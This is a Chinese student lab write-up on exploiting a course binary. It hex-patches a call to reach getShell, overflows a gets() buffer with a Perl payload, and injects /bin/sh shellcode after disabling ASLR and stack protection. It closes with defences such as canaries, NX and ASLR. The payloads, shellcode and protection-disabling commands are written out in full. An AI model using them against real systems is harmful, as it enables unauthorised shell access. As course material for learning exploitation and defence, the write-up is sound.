1. 实验目的
这次实验的目的是修改可执行程序的执行流程,使程序能够执行任意代码。
2. 基础知识
objdump —— objdump
是Linux下反汇编目标文件或可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。-d
参数会反汇编文件中需要执行指令的section
部分汇编指令的机器码:
指令 | 机器码 | 作用 |
---|---|---|
NOP | 0x90 | NOP不执行操作,会占用执行一个指令的CPU时间片 |
JNE | 0x75 | jne是一个条件转移指令。当ZF=0,转至标号处执行 |
JE | 0x74 | je是一个条件转移指令。当ZF=1,转至标号处执行 |
JMP | 0xE9 | 无条件跳转指令 |
CMP | 0x3B | 比较指令,只是对操作数之间运算比较,不保存结果,会对标志寄存器产生影响 |
CALL | 0xE8 |
3. 实验思路
我们有3种思路来完成实验:
- 手工修改可执行文件,改变程序执行流程
- 利用漏洞,这里可以利用foo函数的Bof漏洞
- 注入一个自己制作的shellcode并运行这段shellcode
4. 直接修改
- 知识要求:call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
4.1. 实验步骤
4.1.1. 分析反汇编代码
首先反汇编可执行文件,分析相关的代码。使用以下命令反汇编pwn1,并使用more来查看结果(使用/字符串
会搜索并显示相应字符串)
root@zy20174317:~/test #objdump -d 20174317-pwn1 | more
汇编结果如下:
mian函数汇编结果如下:
main函数中call
指令执行位于808491
处的foo函数。0xe8
是call指令的机器码,因为是在x86的机器上,所以数据是小段在前,后面的d7ffffff
是以补码形式表示的ffffffd7
,值为-41
。
但d7
又是如何计算得到呢?
call语句是跳转语句,当执行到call时,EIP的值为80484ba,此时会将call指令后紧接的四字节地址加到EIP上,得到下一条语句的地址。
此时call指令将EIP加上ffffffd7
就可以得到foo函数的地址8048491
。
我们需要做的是将执行foo函数改为执行getShell函数,只需要ffffffd7替换为getShell函数的地址与80484ba之间的差值即可。
getShell函数的地址为804847d
,用804847d减去80484ba可以得到差值为ffffffc3
,所以只需要将d7改为c3
。
4.1.2. 修改可执行文件——使用vi
在修改前先备份原文件。
也可以使用图形化编辑器wxHexEditor
root@zy20174317~/test #vi 20174317-pwn1
刚打开是这样的:
因为pwn1是可执行文件,而vi默认是以文本文件的形式打开的,所以会全是乱码。按ESC
键进入命令行模式,然后输入:%!xxd
切换为16进制模式。
输入/e8 d7
找到需要修改的内容(注意不要漏掉空格),输入r
进入替换模式,将d7修改为c3:
按ESC
然后输入:%!xxd -r
切换为原格式,然后输入:wq
保存退出。
4.1.3. 执行修改后的文件
输入objdump -d 20174317-pwn1 | more
反汇编修改后的文件:
如果在上一步未切换为原格式,直接保存退出,会出现这个错误:
objdump: 20174317-pwn1: file format not recognized
从图中可以看出,call指令执行的函数已经被修改为了getShell。
运行修改后的pwn1,可以执行任意shell语句,结果如图:
说明修改成功。
5. 利用Bof漏洞
(通过构造输入参数,造成BOF攻击,改变程序执行流)
- 知识要求:堆栈结果,返回地址
- 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
- 进阶:掌握ELF文件格式,掌握动态技术
5.1. foo中的Bof漏洞
foo的gets函数存在bof漏洞。当执行到call 8048330 <gets@plt>
时,会调用gets函数,读取一个字符串,放入到一个地址中,从lea -0x1c(%ebp),%eax
中可以得知,这个地址是栈帧的栈底地址减去0x1c(即28)后得到的地址,也就是说为gets函数保留了28个字节的空间用于存放数据。
但gets函数不会进行边界检查,所以如果输入的字符串大于28字节的话就会覆盖高地址的栈中的数据。
那高地址的栈中保留了什么数据呢?回到main函数,在foo函数的push %ebp
指令执行前,执行了call 8048491 <foo>
指令。call指令执行时,会先将下一条指令的地址,即EIP寄存器的值(80484ba
)存入栈中,然后将要执行的函数的地址放入EIP中。被执行的函数执行完后,会将先前保持的地址从栈中弹出到EIP,使程序能够继续执行。
此时栈结构大致如下:
gets读入的字符,前28个字节会输入到为它预留的空间中,后4个字节会覆盖保存的EBP,再后4个字节会替换之前被保存的地址(80484ba
)。如果通过构造字符串,用getShell函数的地址替换掉原来保存的地址,就可以在执行完foo后,执行getShell函数。
5.2. 实验步骤
5.2.1. 构造字符串
我们需要构造一个长为36个字节的字符串,前32个字节任意,其最后4个字节为getShell函数的地址。例如:注意小段在前
11111111222222223333333344444444x7dx84x04x08
但x7dx84x04x08
这种字符是不能通过键盘输入的,在这里使用Perl语言来生成包含以上的字符串的文件。x0a代表回车
root@zy20174317:~/test # perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a" ' > input
生成input文件后,可以使用16进制查看指令xxd
查看input文件内容
5.2.2. 利用漏洞
使用管道|
将input做为20174317-pwn1的输入
root@zy20174317:~test/ #(cat input; cat) | ./20174317-pwn1
从下图中可以看出成功执行了getShell函数,利用bof漏洞成功。
6. 注入shellcode并执行
6.1. 什么是shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为了获取一个交互式的shell(像linux的shell或windows下的cmd.exe)
- 在实际应用中,凡是用来注入的机器指令段都通称为shellcode,如添加一个用户、运行一条指令
6.2. 思路
构造shellcode->注入shellcode->覆盖EIP
在利用bof时,是将栈上保存的函数调用返回地址的值覆盖为getshell的地址,本实验中,先存放shellcode,然后将地址修改为注入的shellcode的地址。
实验的难点是获得shellcode的起始地址
- shellcode放到哪里?
视空间而定。
为降低难度,会在shellcode前放很多0x90(0x90是空指令,有效,但什么也不做,也称为滑行区),只要能修改函数调用返回地址的值,使其中任何一个0x90被执行,就能执行到shellcode
6.3. 实验步骤
6.3.1. 准备一段shellcode
最基本的shellcode的编写,具体请参考shellcode入门
本次实验使用如下写好的shellcode:
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
6.3.2. 去除保护措施
root@zy20174317:~/test # execstack -s pwn1 //设置堆栈可执行
root@zy20174317:~/test # execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@zy20174317:~/test # more /proc/sys/kernel/randomize_va_space
2
root@zy20174317:~/test # echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@zy20174317:~/test # more /proc/sys/kernel/randomize_va_space
0
- 设置栈可执行是为了使写入栈上的机器指令序列能够被执行。
- 关闭ASLR(地址随机化)是为了保证每次运行时,程序栈帧的起始地址相同。
- 使用execstack时如果提示未找到命令则使用
sudo apt-get install -y execstack
进行安装。
6.3.3. 选择要注入的PAYLOAD结构
- Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode(retaddr是返回地址,nop就是0x90)
- nop+shellcode+retaddr
- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
- 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
我们使用第一种方法
6.3.4. 构造playload
结构为:anything+nop+shellcode+retaddr
root@zy20174317:~/test # perl -e 'print "A" x 32;print "x1x2x3x4x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
上面最后的x1x2x3x4将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。
接下来我们来确定x1x2x3x4到底是什么。
6.3.5. 注入、调试
gdb常用命令
attach PID 用gdb调试一个正在运行中的进程
break *地址 设置断点
info r 查看寄存器信息
c 让中断的程序继续运行
x 按十六进制格式显示变量
si 一条指令一条指令调试
1.输入(cat input_shellcode; cat) | ./20174317-pwn1
注入shellcode
这时不要按回车,再开另外一个终端,用gdb来调试pwn1这个进程。
2.查找pwn1的进程号
输入ps -ef | grep pwn1
,从图片中可以发现pwn1的进程号为1806:
3.启动gdb调试这个进程,如果提示未找到命令则使用sudo apt-get install -y gdb
进行安装,输入attach 1806
调试20174317-pwn1:
4.设置断点:
查看注入buf的内存地址,输入disassemble foo
,可以看见ret指令的地址为0x080484ae
。
在ret指令处设置断点(break *0x080484ae
),这时注入的东西都大堆栈上了。如果不在这里设置断点,ret执行完后,就跳到我们覆盖的retaddr那个地方了。
5.使程序继续执行
因为刚才shellcode的最后一个字符不是
x0a
,所以gets()函数还未执行完毕,pwn1停在了0x0804849d
处,可以使用gdb进行调试。
在另一个终端中按下回车,然后在当前终端中输入c
,使程序继续执行。程序会停在ret指令处:
6.查找x1x2x3x4:
这时shellcode已经保存到了栈上,可以从栈帧的栈顶开始查找:
输入info r esp
,发现esp寄存器的值为0xffffd35c
。
再输入x/16x 0xffffd34c
,可以看到90909090
了,其起始地址是0xffffd350
。
输入quit
退出调试。
6.3.6. 修改
将之前的shellcode中的x4x3x2x1
修改为0xffffd350
,注意小端在前,重新生成shellcode。
root@zy20174317:~/test # perl -e 'print "A" x 32;print "x50xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
然后输入(cat input_shellcode;cat) | ./20174317-pwn1
验证结果:
能够执行命令,注入攻击成功!
7. 防范注入
从防止注入的角度
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
注入也不让运行
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
增加shellcode的构造难度
shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
从管理的角度
加强编码质量。注意边界检测。使用最新的安全的库函数。
8. 实验感悟
-
什么是漏洞?漏洞有什么危害?
漏洞是程序、系统、服务等中的缺陷,不法分子可以利用漏洞来实施攻击,从而窃取他人电脑上的信息或者控制他人的电脑,对国家、企业、个人都会造成利益损失,严重的可能还会威胁国家安全。 -
收获与感想
通过这次的实验,我了解了栈、汇编语言、反汇编、汇编等概念,并学习了相关工具如gdb和objdump的使用,也初步理解了函数执行时栈的变化过程(觉得这个很重要),也能够看懂简单的程序。
在上这门课前我觉得网络对抗是一门涉及的知识面很广,很难学习的课,但通过第一章和实验一的学习,我认识到了网络对抗确实是一门涉及的知识面很广的课,需要花较多的时间,还有就是在做实验时实验思路很重要。